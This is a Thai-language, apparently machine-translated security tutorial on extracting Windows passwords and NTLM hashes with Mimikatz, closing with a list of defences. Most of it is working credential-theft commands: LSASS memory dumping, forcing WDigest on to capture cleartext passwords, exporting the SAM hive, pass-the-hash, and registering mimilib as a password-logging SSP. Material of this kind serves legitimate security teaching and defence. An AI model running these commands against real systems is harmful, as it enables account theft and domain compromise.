Computer >> คอมพิวเตอร์ >  >> ระบบ >> Windows Server

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ในบทความนี้ ซึ่งเขียนขึ้นโดยเป็นส่วนหนึ่งของชุดข้อมูลที่เกี่ยวข้องกับความปลอดภัยของ Windows เราจะเรียนรู้วิธีง่ายๆ ในการรับรหัสผ่านของผู้ใช้ Windows ที่ใช้งานอยู่ทั้งหมดโดยใช้ Mimikatz เครื่องมือ.

Mimikatz.exe สามารถดึงรหัสผ่านข้อความธรรมดาออกจากหน่วยความจำ Windows แฮชรหัสผ่าน ตั๋ว Kerberos ฯลฯ นอกจากนี้ mimikatz ยังให้คุณทำการโจมตีแบบพาส-เดอะ-แฮช โจมตีแบบส่งต่อตั๋ว หรือสร้างตั๋ว Golden Kerberos ฟังก์ชัน mimikatz ยังมีอยู่ใน Metasploit Framework

คุณสามารถดาวน์โหลด mimikatz จาก repo GitHub:https://github.com/gentilkiwi/mimikatz/releases/ แตกไฟล์ mimikatz_trunk.zip ไปยัง C:\Tools\mimikatz mimikatz สองเวอร์ชันจะปรากฏในไดเร็กทอรีนี้ - สำหรับ x64 และ x86 ใช้เวอร์ชันสำหรับ bitness ของ Windows

ในบทความนี้ เราจะแสดงวิธีรับรหัสผ่านผู้ใช้ใน Windows Server 2016 หรือ Windows 10 โดยใช้ mimikatz

ข้อจำกัดความรับผิดชอบ ข้อมูลและเทคโนโลยีที่อธิบายไว้ในบทความนี้ควรใช้เพื่อจุดประสงค์ในการให้ข้อมูลเท่านั้น และไม่ควรเข้าถึงบัญชี ข้อมูล และระบบของบุคคลที่สาม

การแฮ็กรหัสผ่าน Windows ที่แฮชใน LSASS ด้วย Mimikatz

เรามาลองถ่ายโอนข้อมูลแฮชรหัสผ่านของผู้ใช้ที่เข้าสู่ระบบทั้งหมดจากหน่วยความจำ Windows (กระบวนการ lsass.exe – บริการระบบย่อยของหน่วยงานความปลอดภัยในพื้นที่) บนเซิร์ฟเวอร์ RDS ที่ใช้ Windows Server 2016

เรียกใช้คำสั่งต่อไปนี้ในพร้อมท์คำสั่งที่ยกระดับ:

  1. เรียกใช้ Mimikatz.exe ในฐานะผู้ดูแลระบบ
  2. คำสั่งต่อไปนี้จะให้สิทธิ์บัญชีปัจจุบันในการดีบักกระบวนการ (SeDebugPrivilege):
    privilege::debug
  3. แสดงรายการเซสชันผู้ใช้ที่ใช้งานอยู่:
    sekurlsa::logonPasswords full
  4. ในกรณีของฉันบนเซิร์ฟเวอร์นอกเหนือจากบัญชีของฉัน มีเซสชันที่ใช้งานอยู่ของผู้ใช้สองคน:novach และ administrator .
  5. คัดลอกแฮช NTLM ของพวกเขา (เน้นในภาพหน้าจอ)
    การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz
คุณสามารถใช้ mimikatz แบบโต้ตอบไม่ได้ แต่อยู่ในโหมดคำสั่ง ในการรับแฮชรหัสผ่านของผู้ใช้โดยอัตโนมัติและส่งออกไปยังไฟล์ข้อความ ให้ใช้คำสั่ง:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

ตอนนี้คุณสามารถใช้ออฟไลน์ใดก็ได้ (มี hashcat เครื่องมือใน Kali Linux) หรือบริการออนไลน์สำหรับการถอดรหัสแฮช NTLM จะใช้บริการ https://crackstation.net/.

อย่างที่คุณเห็น บริการพบค่าสำหรับแฮช NTLM เหล่านี้อย่างรวดเร็ว กล่าวคือ เราได้รับรหัสผ่านผู้ใช้เป็นข้อความที่ชัดเจน

ลองนึกภาพว่านี่คือโฮสต์ RDS ที่มีผู้ใช้พร้อมกันจำนวนมากและเซสชันผู้ดูแลระบบขององค์กร กล่าวคือ หากคุณมีสิทธิ์ของผู้ดูแลระบบในพื้นที่บนเซิร์ฟเวอร์นี้ คุณยังสามารถรับรหัสผ่านผู้ดูแลระบบโดเมนได้

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

หากคุณใช้รหัสผ่านที่ซับซ้อนสำหรับผู้ใช้ Windows จะถอดรหัสได้ยากขึ้นมาก ดังนั้น ให้เปิดใช้งานความซับซ้อนของรหัสผ่านเสมอผ่าน GPO และตรวจสอบระดับความปลอดภัยของรหัสผ่านในโดเมน AD เป็นประจำ

อย่างที่คุณเห็น ขอบคุณ mimikatz ที่เราได้รับแฮช NTLM ของผู้ใช้ที่ใช้งานอยู่ทั้งหมด! คำสั่งนี้ประสบความสำเร็จเนื่องจากมีการเปิดใช้งานโหมดแก้ไขข้อบกพร่องบนคอมพิวเตอร์เครื่องนี้ ซึ่งช่วยให้คุณตั้งค่า SeDebugPrivilege ธงสำหรับกระบวนการที่ต้องการ ในโหมดนี้ โปรแกรมจะเข้าถึงหน่วยความจำของกระบวนการที่เรียกใช้ในนามของระบบในระดับต่ำได้

หมายเหตุ . ในเดือนมิถุนายน 2017 บริษัทขนาดใหญ่หลายแห่งในหลายประเทศติดมัลแวร์เรียกค่าไถ่ NotPetya ซึ่งใช้โมดูล mimikatz ในตัวเพื่อรวบรวมรหัสผ่านของผู้ใช้และผู้ดูแลโดเมน

จะรับรหัสผ่านของผู้ใช้จาก Windows Memory Dump ได้อย่างไร

วิธีการรับแฮชรหัสผ่านข้างต้นจะไม่ทำงานหากติดตั้งโปรแกรมป้องกันไวรัสที่บล็อกการแทรก ในกรณีนี้ จะต้องสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS บนโฮสต์เป้าหมาย คัดลอกไปยังคอมพิวเตอร์ของคุณและแยกแฮชรหัสผ่านโดยใช้ mimikatz

มันค่อนข้างง่ายที่จะสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการใน Windows เริ่มตัวจัดการงาน ค้นหากระบวนการ lsass.exe คลิกขวาและเลือก สร้างไฟล์ดัมพ์ .

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

Windows จะบันทึกการถ่ายโอนข้อมูลหน่วยความจำไปยังโฟลเดอร์ system32

คุณเพียงแค่ต้องแยกวิเคราะห์ไฟล์ดัมพ์โดยใช้ mimikatz (คุณสามารถทำงานนี้บนคอมพิวเตอร์เครื่องอื่นได้) โหลดการถ่ายโอนข้อมูลหน่วยความจำไปที่ mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”

รับชื่อผู้ใช้และแฮชรหัสผ่านจากดัมพ์:

# sekurlsa::logonPasswords

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

คุณสามารถรับการถ่ายโอนข้อมูลหน่วยความจำจากคอมพิวเตอร์ระยะไกลโดยใช้ psexec หรือผ่าน WinRM (หากคุณมีสิทธิ์ของผู้ดูแลระบบ) และดึงรหัสผ่านของผู้ใช้ออกมา

คุณยังสามารถใช้ procdump เครื่องมือจาก Sysinternals เพื่อรับการถ่ายโอนข้อมูล:

procdump -ma lsass.exe lsass.dmp

การถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS สามารถรับได้ด้วยฟังก์ชัน Out-Minidump.ps1 ใน PowerShell นำเข้าฟังก์ชัน Out-Minidump เข้าสู่เซสชัน PoSh และสร้างการถ่ายโอนข้อมูลหน่วยความจำของกระบวนการ LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การแยกรหัสผ่าน Windows จากไฟล์ Hyberfil.sys และ VM Page

นอกจากนี้ยังสามารถแยกรหัสผ่านของผู้ใช้ออกจากไฟล์ดัมพ์หน่วยความจำ ไฟล์ไฮเบอร์เนตระบบ (hiberfil.sys) และ vmem ของไฟล์เครื่องเสมือน (ไฟล์การเพจเครื่องเสมือนและสแน็ปช็อต)

ในการดำเนินการ คุณต้องมี เครื่องมือแก้ไขข้อบกพร่องสำหรับ Windows (WinDbg), เลียนแบบ ตัวเองและ เครื่องมือ เพื่อแปลง .vmem เป็นไฟล์ดัมพ์หน่วยความจำ (ใน Hyper-V อาจเป็น vm2dmp.exe หรือ MoonSols Windows Memory toolkit สำหรับ VMWare vmem-files)

ตัวอย่างเช่น ในการแปลงไฟล์เพจ vmem ของเครื่องเสมือน VMWare เป็นดัมพ์ ให้ใช้คำสั่งนี้:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

นำเข้าการถ่ายโอนข้อมูลลงใน WinDbg (ไฟล์ -> เปิด Crash Dump) โหลดไลบรารี mimikatz mimilib.dll:

.load mimilib.dll

ค้นหากระบวนการ lsass.exe ในดัมพ์:

!process 0 0 lsass.exe

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

และสุดท้าย พิมพ์:

.process /r /p fffffa800e0b3b30
!mimikatz

ด้วยเหตุนี้ คุณจะได้รับรายชื่อผู้ใช้ Windows และแฮช NTLM ของรหัสผ่าน หรือแม้แต่รหัสผ่านแบบข้อความที่ชัดเจน

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การแยกรหัสผ่าน Windows ในข้อความที่ชัดเจนโดยใช้ WDigest

คุณสามารถใช้ WDigest โปรโตคอลสำหรับการพิสูจน์ตัวตน HTTP ไดเจสต์ใน Windows เวอร์ชันดั้งเดิม ข้อบกพร่องด้านความปลอดภัยหลักของโปรโตคอลนี้คือการจัดเก็บรหัสผ่านของผู้ใช้ไว้ในหน่วยความจำเป็นข้อความธรรมดา แทนที่จะเป็นแฮช Mimikatz ให้คุณดึงรหัสผ่านเหล่านี้ออกจากหน่วยความจำของกระบวนการ LSASS.EXE

โปรโตคอล WDigest ถูกปิดใช้งานโดยค่าเริ่มต้นใน Windows เวอร์ชันใหม่ทั้งหมด รวมถึง Windows 10 และ Windows Server 2016/2019 แต่ลบไม่หมด หากคุณมีสิทธิ์ผู้ดูแลระบบภายในใน Windows คุณสามารถเปิดใช้งานโปรโตคอล WDiget รอให้ผู้ใช้เข้าสู่ระบบและขโมยรหัสผ่านได้

เปิดใช้งาน Wdigest บน Windows:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รีเฟรชการตั้งค่านโยบายกลุ่ม:

gpupdate /force

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รอให้ผู้ใช้เข้าสู่ระบบและรับรหัสผ่านด้วย mimikatz (ผู้ใช้ต้องเข้าสู่ระบบใหม่บน Windows 10; ใน Windows Server 2016 ก็เพียงพอที่จะปลดล็อกเซสชันหลังจากหน้าจอล็อก):

privilege::debug
sekurlsa::wdigest

อย่างที่คุณเห็น ส่วน wdigest มีรหัสผ่านของผู้ใช้เป็นข้อความที่ชัดเจน:

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

การแยกแฮชรหัสผ่านผู้ใช้ในเครื่องจาก SAM

ด้วย mimikatz คุณสามารถแยกแฮชรหัสผ่านของผู้ใช้ Windows ในเครื่อง (รวมถึงบัญชีผู้ดูแลระบบในตัว) จาก SAM:

privilege::debug
token::elevate
lsadump::sam

คุณยังสามารถแยกแฮช NTLM ออกจากกลุ่ม SAM ของรีจิสทรีได้

  1. ส่งออกกลุ่มรีจิสทรี SYSTEM และ SAM ไปยังไฟล์:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz
  2. จากนั้นใช้ Mimikatz เพื่อดัมพ์แฮชรหัสผ่าน:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ทำการโจมตีแบบ Pass-the-Hash ผ่าน Mimikatz

หากผู้ใช้มีรหัสผ่านที่รัดกุม และคุณไม่สามารถถอดรหัส NTLM hash ได้อย่างรวดเร็ว คุณสามารถใช้ Mimikatz เพื่อทำการโจมตีแบบ pass-the-hash (hash reuse) ในกรณีนี้ สามารถใช้แฮชเพื่อรันกระบวนการในนามของผู้ใช้เป้าหมาย ตัวอย่างเช่น หากคุณดัมพ์แฮช NTLM ของรหัสผ่านของผู้ใช้ คำสั่งต่อไปนี้จะเรียกใช้พรอมต์คำสั่งภายใต้บัญชีนั้น:

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

นอกจากนี้ คุณสามารถใช้ Invoke-TheHash เครื่องมือเพื่อนำข้อมูลประจำตัว NTLM กลับมาใช้ใหม่เพื่อดำเนินการคำสั่งกับผู้เดินทางระยะไกล

การทิ้งรหัสผ่านจาก Windows Credential Manager

ใน Windows คุณสามารถบันทึกรหัสผ่านใน Windows Credential Manager ได้ (อาจเป็นรหัสผ่านสำหรับเข้าถึงคอมพิวเตอร์ระยะไกล เว็บไซต์ ข้อมูลประจำตัว RDP ใน TERMSRV/hostname1 รูปแบบ). Mimikatz สามารถดึงรหัสผ่านเหล่านี้จาก Credential Manager และแสดงให้คุณเห็น:

privilege::debug
sekurlsa::credman

อย่างที่คุณเห็น รหัสผ่านที่บันทึกไว้จะแสดงอยู่ใต้ credman มาตรา.

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

รหัสผ่าน autologon ของ Windows จะถูกเก็บไว้ในรีจิสทรีในรูปแบบข้อความที่ชัดเจน นอกจากนี้ยังง่ายต่อการดึงรหัสผ่าน Wi-Fi ที่บันทึกไว้

การทิ้งรหัสผ่านการเข้าสู่ระบบ Windows ในข้อความที่ชัดเจน

อีกวิธีหนึ่งที่น่าสนใจในการดัมพ์รหัสผ่านใน Windows คือการใช้ผู้ให้บริการ SSP เพิ่มเติม (Security Support Provider) ที่ขับเคลื่อนโดย mimikatz

  1. คัดลอกไฟล์ไลบรารี Mimikatz mimilib.dll ไปยังโฟลเดอร์ C:\Windows\System32\;
  2. ลงทะเบียนผู้ให้บริการ SPP เพิ่มเติมด้วยคำสั่ง:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. เมื่อผู้ใช้แต่ละรายล็อกออนเข้าสู่ Windows รหัสผ่านของพวกเขาจะถูกเขียนลงในไฟล์ kiwissp.log คุณสามารถแสดงรหัสผ่านทั้งหมดโดยใช้ PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log< /li>

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ปกป้อง Windows จากการโจมตีทิ้งข้อมูลประจำตัว

ใน Windows 8.1 และ Windows Server 2012 R2 (และใหม่กว่า) ความสามารถในการขโมยรหัสผ่านจาก LSASS นั้นมีจำกัด แฮช LM และรหัสผ่านจะไม่ถูกเก็บไว้ในหน่วยความจำใน Windows เวอร์ชันเหล่านี้โดยค่าเริ่มต้น

ฟังก์ชันเดียวกันนี้กลับไปใช้ Windows เวอร์ชันก่อนหน้า (7/8/2008R2/2012) ซึ่งคุณต้องติดตั้งการอัปเดตพิเศษ KB2871997 (การอัปเดตมีตัวเลือกอื่นๆ เพื่อปรับปรุงความปลอดภัยของระบบ) และในคีย์รีจิสทรี HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest ตั้งค่าพารามิเตอร์ DWORD UseLogonCredential เป็น 0 (WDigest ถูกปิดใช้งาน)

หากคุณพยายามแยกรหัสผ่านออกจากหน่วยความจำหลังจากติดตั้งการอัปเดตนี้และคีย์ UseLogonCredential คุณจะเห็นว่า mimikatz ไม่สามารถถ่ายโอนรหัสผ่านและแฮชโดยใช้คำสั่ง creds_wdigest

การทิ้งรหัสผ่านผู้ใช้จากหน่วยความจำ Windows ด้วย Mimikatz

ด้านบน เราได้แสดงวิธีที่คุณสามารถตั้งค่าคีย์ reg นี้เป็นค่าที่มีช่องโหว่ได้อย่างง่ายดาย หากคุณมีสิทธิ์ของผู้ดูแลระบบภายใน หลังจากนั้น คุณสามารถเข้าถึงรหัสผ่านในหน่วยความจำ LSA ได้อีกครั้ง

ใน mimikatz มีตัวเลือกอื่นในการรับรหัสผ่านและแฮชจากหน่วยความจำ (WDigest, LM-hash, NTLM-hash, โมดูลสำหรับจับตั๋ว Kerberos) ดังนั้นจึงขอแนะนำให้ใช้มาตรการรักษาความปลอดภัยต่อไปนี้เพื่อการป้องกัน:

  • ป้องกันการจัดเก็บรหัสผ่านโดยใช้การเข้ารหัสแบบย้อนกลับ
  • ปิดการใช้งาน WDigest;
  • ป้องกันการบันทึกรหัสผ่านในตัวจัดการข้อมูลรับรอง
  • ปิดการใช้งาน NTLM;
  • ป้องกันการแคชข้อมูลรับรองผู้ใช้โดเมน (โดย CachedLogonsCount พารามิเตอร์รีจิสทรีหรือตัวเลือกนโยบายกลุ่ม นโยบายการเข้าสู่ระบบแบบโต้ตอบ:จำนวนการเข้าสู่ระบบก่อนหน้าไปยังแคช );
  • ถ้าระดับการทำงานของโดเมนคือ Windows Server 2012 R2 หรือใหม่กว่า คุณสามารถเพิ่มบัญชีผู้ดูแลระบบใน ผู้ใช้ที่ได้รับการคุ้มครอง พิเศษ กลุ่ม . ในกรณีนี้ แฮช NTLM จะไม่ถูกสร้างขึ้นสำหรับผู้ใช้ดังกล่าว
  • เปิดใช้งานการป้องกันกระบวนการ LSA:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (การตั้งค่านี้จะอนุญาตเฉพาะกระบวนการที่ลงนามของ Microsoft เพื่อเข้าถึงหน่วยความจำ LSASS คุณสามารถปรับใช้คีย์ reg นี้ในโดเมนผ่าน GPO)
  • ใช้ Credential Guard เพื่อปกป้องเนื้อหา LSA ของกระบวนการ
  • ป้องกันการได้รับสิทธิ์ในการดีบักแม้แต่กับผู้ดูแลระบบในพื้นที่:GPO -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug โปรแกรม (อย่างไรก็ตาม สิ่งนี้สามารถข้ามได้อย่างง่ายดายหากคุณมีสิทธิ์ LocalSystem หรือเช่นนี้)
เคล็ดลับ . บทความโดยละเอียดเกี่ยวกับวิธีป้องกันหน่วยความจำของ Windows จากการดึงรหัสผ่านและแฮช – วิธีการป้องกันมิมิคาทซ์ในโดเมน Windows

บทสรุป. เราขอเตือนคุณเกี่ยวกับแนวคิดด้านความปลอดภัยที่สำคัญบางประการอีกครั้ง

  • อย่าใช้รหัสผ่านเดียวกันสำหรับบริการต่างๆ (โดยเฉพาะสำหรับการเข้าถึงโฮสต์ RDP/RDS ที่เป็นของบุคคลที่สาม)
  • นึกถึงการรักษาความปลอดภัยของรหัสผ่านและข้อมูลที่จัดเก็บไว้ในเครื่องเสมือนในระบบคลาวด์ เนื่องจากคุณไม่อาจแน่ใจได้ว่ามีใครบ้างที่มีสิทธิ์เข้าถึงไฮเปอร์ไวเซอร์และที่เก็บข้อมูลซึ่งเป็นที่ตั้งของไฟล์เครื่องเสมือน
  • ลดจำนวนบัญชีที่มีสิทธิ์ของผู้ดูแลระบบส่วนกลางหรือในเครื่อง (ดูคำแนะนำในการรักษาความปลอดภัยบัญชีผู้ดูแลระบบในสภาพแวดล้อม Windows)
  • อย่าเข้าสู่ระบบภายใต้บัญชีผู้ดูแลระบบโดเมนกับเซิร์ฟเวอร์และคอมพิวเตอร์ที่ผู้ใช้รายอื่นสามารถเข้าถึงได้